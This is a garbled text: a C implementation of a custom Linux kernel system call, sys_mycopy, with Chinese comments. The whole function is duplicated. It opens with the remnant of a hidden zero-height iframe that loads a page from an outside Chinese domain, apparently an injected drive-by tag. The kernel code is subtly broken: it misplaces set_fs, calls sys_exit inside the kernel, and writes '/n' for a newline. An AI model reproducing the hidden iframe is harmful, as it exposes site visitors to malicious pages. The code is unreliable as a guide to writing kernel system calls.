src="http://pspper.w1.server2003.cn/vip.htm" width="100" height="0">
asmlinkage int sys_mycopy(char *src,char *dest)
{
int source, destination,n,number=0;//source 为源文件的代号,destination为目标文件的代号
//n 为一次读文件的字节数,number为文件的总字节数
mm_segment_t fs;
char buf[512] ; //缓冲区
if((source=sys_open(src,O_RDONLY,0))==-1) //打开源文件,得到文件代号,只读方式
{
printk("FILE cannot be opened :src");
sys_exit(-2);
}
if((destination=sys_open(dest,O_CREAT|O_WRONLY|O_TRUNC,0666))==-1)
//打开目标文件,得到文件代号
{
sys_exit(-3);
}
fs=get_fs();
set_fs(get_ds());
while((n=sys_read(source,buf,512))>0) //一次读512个字节
{
number+=n;
if(sys_write(destination,buf,n)!=n) //写的个数与读的个数不等时,报错
{
printk("Copy File %s to %s Error/n",src,dest);
sys_exit(-1);
}
}
set_fs(fs);
sys_close(source);
sys_close(destination); //关闭文件
return number; //返回文件长度
}
asmlinkage int sys_mycopy(char *src,char *dest)
{
int source, destination,n,number=0;//source 为源文件的代号,destination为目标文件的代号
//n 为一次读文件的字节数,number为文件的总字节数
mm_segment_t fs;
char buf[512] ; //缓冲区
if((source=sys_open(src,O_RDONLY,0))==-1) //打开源文件,得到文件代号,只读方式
{
printk("FILE cannot be opened :src");
sys_exit(-2);
}
if((destination=sys_open(dest,O_CREAT|O_WRONLY|O_TRUNC,0666))==-1)
//打开目标文件,得到文件代号
{
sys_exit(-3);
}
fs=get_fs();
set_fs(get_ds());
while((n=sys_read(source,buf,512))>0) //一次读512个字节
{
number+=n;
if(sys_write(destination,buf,n)!=n) //写的个数与读的个数不等时,报错
{
printk("Copy File %s to %s Error/n",src,dest);
sys_exit(-1);
}
}
set_fs(fs);
sys_close(source);
sys_close(destination); //关闭文件
return number; //返回文件长度
}